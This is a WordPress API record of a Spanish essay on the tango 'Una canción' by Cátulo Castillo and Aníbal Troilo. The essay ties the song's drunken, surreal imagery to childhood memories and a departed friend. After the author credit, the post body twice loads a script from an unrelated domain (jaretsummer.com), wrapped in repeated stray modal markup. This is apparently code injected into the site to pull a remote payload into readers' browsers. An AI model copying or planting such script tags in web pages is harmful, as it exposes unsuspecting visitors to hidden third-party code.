{"id":21085,"date":"2020-09-20T12:38:22","date_gmt":"2020-09-20T12:38:22","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=21085"},"modified":"2020-09-20T16:02:46","modified_gmt":"2020-09-20T16:02:46","slug":"tango-para-saltar-dentro-del-espejo-una-cancion-de-catulo-castillo-y-anibal-troilo-el-surrealismo-a-traves-del-ron","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/09\/20\/tango-para-saltar-dentro-del-espejo-una-cancion-de-catulo-castillo-y-anibal-troilo-el-surrealismo-a-traves-del-ron\/","title":{"rendered":"Tango para saltar dentro del espejo <i> Una canci\u00f3n <\/i>, de C\u00e1tulo Castillo y An\u00edbal Troilo, el surrealismo a trav\u00e9s del ron"},"content":{"rendered":"<p style=\"text-align: justify;\"><span class=\"texte1\" style=\"font-size: 12pt;\">Por unos huequecillos en las ventanas de madera se filtraban rayitos de luz y en ellos hab\u00eda miles de part\u00edculas flotantes. La enso\u00f1aci\u00f3n llegaba desde afuera al cuarto matinal al tiempo que desde ah\u00ed se o\u00edan pasos, rodar de bicicletas, uno que otro veh\u00edculo, alg\u00fan canto de p\u00e1jaro. Y no s\u00e9 cu\u00e1ndo por esos mismos agujeros sutiles comenzaron a penetrar en mi pieza las im\u00e1genes al rev\u00e9s de los que abajo y afuera pasaban y entonces tuve una especie de r\u00fastico cine que pod\u00eda ver muy c\u00f3modo desde la cama.<\/span><\/p>\n<p style=\"text-align: center;\"><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/Cj761RAu9xg\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Tal vez desde esas experiencias primeras con la luz, cuando escuch\u00e9 no s\u00e9 en qu\u00e9 momento un tango que en todo caso jam\u00e1s son\u00f3 en las cantinas del barrio, donde todos los d\u00edas mol\u00edan tangos, pero nunca, como ya dije, este tango de C\u00e1tulo Castillo, <em>Una canci\u00f3n<\/em> (un tango que se llama <em>Una canci\u00f3n<\/em> y es un tango-canci\u00f3n, de una poes\u00eda que embriaga) no son\u00f3 en ning\u00fan tragan\u00edquel de aquellos bares legendarios (para m\u00ed) casi ya todos muertos, en los que hab\u00eda gardeles y juandarienzos y rodolfosbiagis, y, claro, el gran Ber\u00f3n, que alguien alguna vez me dijo: \u201cEs un cantor para malevos\u201d, y sonaba Enrique Campos con su voz bien timbrada, pero no, no, nunca escuch\u00e9 que se regaran por la acera, la calle, la cuadra y entraran en casa aquellos versos de \u201cLa copa del alcohol hasta el final \/\u00a0 Y en el final tu niebla, bodeg\u00f3n\u2026\u00a0 \/ Mon\u00f3tono y fatal \/ Me envuelve el acorde\u00f3n \/ Con un vapor de tango que hace mal\u2026\u201d.<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Empezando, porque, adem\u00e1s, por aquellas calles, cuadras, esquinas y bares, no escuch\u00e9 nunca ni ese tango ni a su mejor int\u00e9rprete que es, no hay para qu\u00e9 negarlo, Roberto Goyeneche, el Polaco.<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Y si, como se sabe, en el tango hay piezas de un surrealismo exquisito, que puede ser como las im\u00e1genes que gracias a ese rayito de luz se proyectaban en mi cuarto, en el que se ve\u00edan en las pantallas cinematogr\u00e1ficas de la pared personajes al rev\u00e9s, o patas arriba, <em>Una canci\u00f3n<\/em> (me parece a m\u00ed) es una conjunci\u00f3n de im\u00e1genes on\u00edricas, de enso\u00f1aciones que solo el alcohol puede provocar. S\u00ed, claro, me dir\u00e1n que muchas letras, mejor dicho, poes\u00edas para ser cantadas, de Homero Exp\u00f3sito son como un sue\u00f1o y les dir\u00e9 que s\u00ed.<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">\u00bfCu\u00e1les? Tiene un mont\u00f3n: \u201ctrenzas seda dulce de tus trenzas luna en sombra de tu piel y de tu ausencia\u201d, \u201cdonde el callej\u00f3n se pierde brot\u00f3 ese yuyo verde del perd\u00f3n\u2026\u201d, \u201cNos hab\u00edan suicidado los errores del pasado, coraz\u00f3n\u2026 y lat\u00edas \u2014rama seca\u2014 como late en la mu\u00f1eca mi reloj\u201d.<\/span><\/p>\n<p data-adtags-visited=\"true\"><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_23186.jpg\" width=\"590\" height=\"565\" \/><\/p>\n<p style=\"text-align: center;\" data-adtags-visited=\"true\"><strong><span class=\"texte1\">An\u00edbal Troilo y C\u00e1tulo Castillo<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Y tal vez el m\u00e1s surrealista de todo el repertorio tangu\u00edstico, \u00bfo no?, es el tema alucinante de Horacio Ferrer, con un loco que se pinta las rayas de la camisa en la piel y sale con unas banderitas de taxi libre en cada mano. Pero este, de C\u00e1tulo, <em>Una canci\u00f3n<\/em>, s\u00ed batea de hit, o, mejor dicho, es una deslumbradora colecci\u00f3n de im\u00e1genes que solo pueden pertenecer a esa niebla revuelta con trazos de Van Gogh que solo es posible apreciar con la influencia del alcohol.<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">\u00bfQu\u00e9 experiencias se pueden vivir con un tango? Muchas, as\u00ed como con una novela, un relato, un cuento, una pieza de Black Sabbath, o los encandilamientos tremebundos de una obra de William Burroughs. Aquellas lucecitas en chorro de mi pieza de infancia volvieron a aparecer, no s\u00e9 por qu\u00e9, cuando escuch\u00e9 ese tango con olor a ron, en el que el percal est\u00e1 ah\u00ed, con sus tejidos sutiles sobre el cuerpo sensual de una mujer.<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\"><em>\u00a1A ver, mujer! Repite tu canci\u00f3n<br \/>\nCon esa voz gangosa de metal<br \/>\nQue tiene olor a ron<br \/>\nTu bata de percal<br \/>\nY tiene gusto a miel tu coraz\u00f3n\u2026<\/em><\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Es un tango con espejos bien pulidos, por los que, como si en uno reencarnara Alicia, la muchachita inglesa tan imaginadora, se puede saltar por esas superficies reflectivas que tantas preguntas nos hicieron ocurrir para el profesor de f\u00edsica. Es una letra que estremece porque uno ve, al o\u00edrla, las sensaciones, los olores, las palabras. Es visual. Se ve con la piel. Pero tambi\u00e9n t\u00e1ctil. Se oye por los poros. Es un tango para todos los sentidos. Y si le aplic\u00e1s raz\u00f3n, te pod\u00e9s montar en el viento y volar, volverte vendaval, ir tras un trago de ron que te har\u00e1 cantar despacito y al o\u00eddo de una mujer cuya figura et\u00e9rea ya es una manera de la seducci\u00f3n.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium aligncenter\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_23187.gif\" width=\"540\" height=\"740\" \/><\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">La borrachera (o, mejor, la curda) de esta atm\u00f3sfera que C\u00e1tulo Castillo pinta en <em>Una canci\u00f3n<\/em> es todo un c\u00famulo de emociones, sensaciones, brillos y desnudeces. Y, adem\u00e1s, suenan muy bien con la m\u00fasica que el gordo An\u00edbal Troilo les puso a esos versos que parecen la emanaci\u00f3n de un volc\u00e1n a punto de la erupci\u00f3n.<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\"><em>Una canci\u00f3n<br \/>\nque me mate la tristeza,<br \/>\nque me duerma, que me aturda<br \/>\ny en el fr\u00edo de esta mesa<br \/>\nvos y yo: los dos en curda\u2026<\/em><\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Este tango que vuela hasta aquellas fulguraciones de ventanal de infancia, que me incluyen en atm\u00f3sferas de antiguos cafetines con palabras de copa en copa y de mesa en mesa, me recuerda al amigo que ya no est\u00e1, a aquel que cuando lo escuchaba, ya con la ebriedad en su cerebro, iba diciendo cada verso como si llorara, como si tuviera al frente la imagen de una muchacha que tiembla al escuchar <em>Una canci\u00f3n<\/em>.<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\"><em>Los dos en curda<br \/>\ny en la pena sensiblera<br \/>\nque me da la borrachera<br \/>\nyo te pido, cari\u00f1ito,<br \/>\nque me cantes como antes,<br \/>\ndespacito, despacito,<br \/>\ntu canci\u00f3n una vez m\u00e1s\u2026<\/em><\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Y, en efecto, aquel amigo, que ya se fue como la luz de aquellas ventanitas lejanas, lo iba diciendo mientras escuchaba a Goyeneche, y parec\u00eda en efecto estar hablando con un fantasma, con un recuerdo: \u201cLa dura desventura de los dos \/ nos lleva al mismo rumbo, siempre igual, \/ y es loco vendaval \/ el viento de tu voz \/ que silba la tortura del final\u2026\u201d, y aquel hombre encurdelado se llevaba a sus labios la copa de ron. Y despu\u00e9s de todo ya no s\u00e9 si ese tango me remueve memorias o me gusta porque es como aquellos retazos de luces y sombras que entraban a mi cuartito como si salieran de un proyector de cine, o porque me hacen encontrar con el amigo que ya no est\u00e1, o por toda la sensibilidad que despierta su m\u00fasica y la manera de decirlo el gran Goyeneche, con sus facultades de actor que solo est\u00e1 en el mundo para representar en una funci\u00f3n eterna a Hamlet, a Falstaff o al rey Lear:<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\"><em>\u00a1A ver, mujer! Un poco m\u00e1s de ron<br \/>\ny ci\u00e9rrate la bata de percal<br \/>\nque vi tu coraz\u00f3n<br \/>\ndesnudo en el cristal,<br \/>\ntemblando al escuchar<br \/>\nesa canci\u00f3n\u2026<\/em><\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Puede ser que me digan, qu\u00e9 va, qu\u00e9 surrealismo ni qu\u00e9 cuernos. Y entonces les contestar\u00e9 que quiz\u00e1 ellos no son capaces (por miedo, por incertidumbre) de atravesar el espejo de <em>Una canci\u00f3n<\/em>, el mismo espejo (o espejismo) capaz de transportarnos hasta lugares insospechados en los que se levanta un vapor surreal, un \u201cvapor de tango que hace mal\u201d, porque duele, porque pesa en el cerebro y en el incierto lugar donde se agazapan las recordaciones. Y porque se trata de la reuni\u00f3n imaginaria con una mujer a la que la bata (y la piel) le huele a ron y le sabe a miel su coraz\u00f3n.<\/span><\/p>\n<p data-adtags-visited=\"true\"><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_23188.jpg\" width=\"600\" height=\"337\" \/><\/p>\n<p align=\"center\"><strong>\u00a0Roberto Goyeneche y An\u00edbal Troilo<\/strong><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/p>\n<\/div>\n<\/div>\n<div><\/div>\n<p><strong><span style=\"font-size: 14pt;\"><span class=\"auteur\">Reinaldo Spitaletta<\/span> para La Pluma, 18 de junio de 2020<\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Editado por <a href=\"http:\/\/tlaxcala-int.org\/biographie.asp?ref_aut=2&amp;lg_pp=es\">Fausto Giudice \u0424\u0430\u0443\u0441\u0442\u043e \u0414\u0436\u0443\u0434\u0438\u0447\u0435 \u0641\u0627\u0648\u0633\u062a\u0648 \u062c\u064a\u0648\u062f\u064a\u0634\u064a<\/a><\/span><\/strong><\/p>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/p>\n<\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><img \/><\/div>\n","protected":false},"excerpt":{"rendered":"<p>La borrachera (o, mejor, la curda) de esta atm\u00f3sfera que C\u00e1tulo Castillo pinta en Una canci\u00f3n es todo un c\u00famulo de emociones, sensaciones, brillos y desnudeces. <\/p>\n","protected":false},"author":20,"featured_media":21086,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[8,20],"tags":[519,1601,10716,10715],"coauthors":[265],"class_list":["post-21085","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-culture","category-musica","tag-reinaldo-spitaletta","tag-tango","tag-troilo-castillo-goyeneche","tag-una-cancion"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":false,"content":false,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21085","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=21085"}],"version-history":[{"count":4,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21085\/revisions"}],"predecessor-version":[{"id":21090,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21085\/revisions\/21090"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/21086"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=21085"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=21085"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=21085"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=21085"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}